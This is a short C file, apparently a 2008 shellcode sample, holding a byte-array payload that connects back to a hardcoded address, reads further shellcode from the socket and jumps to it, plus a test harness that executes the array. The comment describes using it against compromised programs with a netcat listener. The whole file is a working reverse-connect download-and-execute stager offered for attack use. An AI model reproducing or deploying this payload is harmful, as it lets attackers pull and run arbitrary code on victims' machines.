/* ; sm4x - 2008 ; reverse connect dl(shellcode) and execute, exit ; - i've used this to feed pwnd progs huge messy shellcode ret'ing the results over nc ;) ; - feed it with a $nc -vvl -p8000 pls exit from jmp shellcode) xor eax, eax inc eax push eax push eax int 0x80 */ #include #include #include char code[] = "\x31\xc0\x50\x50\xb0\x17\x50\xcd\x80\x50" "\x6a\x01\x6a\x02\xb0\x61\x50\xcd\x80\x89" "\xc2\x68\xac\x11\x00\x09\x68\xaa\x02\x1f" "\x40\x89\xe0\x6a\x10\x50\x52\x31\xc0\xb0" "\x62\x50\xcd\x80\x75\x24\xb1\x03\x31\xdb" "\x53\x52\xb0\x5a\x50\xcd\x80\x43\xe2\xf6" "\x31\xc0\x66\x68\x04\x04\x8d\x8c\x24\xfc" "\xfb\xff\xff\x51\x52\xb0\x03\x50\xcd\x80" "\xff\xe1\x31\xc0\x40\x50\x50\xcd\x80"; int main(int argc, char **argv) { int (*func)(); printf("Bytes: %d\n", sizeof(code)); func = (int (*)()) code; (int)(*func)(); }